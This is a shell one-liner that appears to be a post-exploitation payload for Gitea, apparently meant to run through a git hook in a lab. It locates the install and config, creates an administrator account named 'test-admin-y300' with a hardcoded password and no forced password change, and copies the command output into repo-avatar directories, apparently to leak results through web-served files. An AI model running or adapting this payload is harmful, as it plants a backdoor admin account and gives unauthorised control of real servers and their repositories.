WD="${GITEA_WORK_DIR:-}"; if [ -z "$WD" ] || [ ! -f "$WD/custom/conf/app.ini" ]; then   D="$(pwd)";   while :; do     [ -f "$D/custom/conf/app.ini" ] && { WD="$D"; break; };     [ "$D" = "/" ] && break;     D="$(dirname "$D")";   done; fi; [ -f "$WD/custom/conf/app.ini" ] || WD="$(pwd)"; CFG="$WD/custom/conf/app.ini"; for _c in "$CFG" "/etc/gitea/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/conf/app.ini"; do   [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -f "$CFG" ] && C="--config $CFG"; _cfg() { [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)";   [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then   for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do     [ -d "$d" ] && AV="$d" && break;   done; fi; if [ -x "$WD/gitea" ]; then G="$WD/gitea"; elif [ -x "$WD/gitea.exe" ]; then G="$WD/gitea.exe"; elif [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; elif command -v gitea >/dev/null 2>&1; then G="$(command -v gitea)"; elif command -v gitea.exe >/dev/null 2>&1; then G="$(command -v gitea.exe)"; else G=""; fi; OUT="/tmp/demo_y300h5.txt"; { echo "HOOKDIAG WD=$WD AV=$AV CFG=$CFG G=$G"; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; if [ -z "$G" ]; then echo "ERROR: gitea not found (WD=$WD)"; else "$G" $C admin user create --username "test-admin-y300" --password "Test-admin-y300h5!x" --email "test-admin-y300@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]"; fi; echo ---DONE---; } > "$OUT" 2>&1; for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do   [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null;   cp "$OUT" "$d/demo_y300h5.txt" 2>/dev/null; done; for d in "$AV" "$WD/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do   [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_y300h5.txt" 2>/dev/null; done;
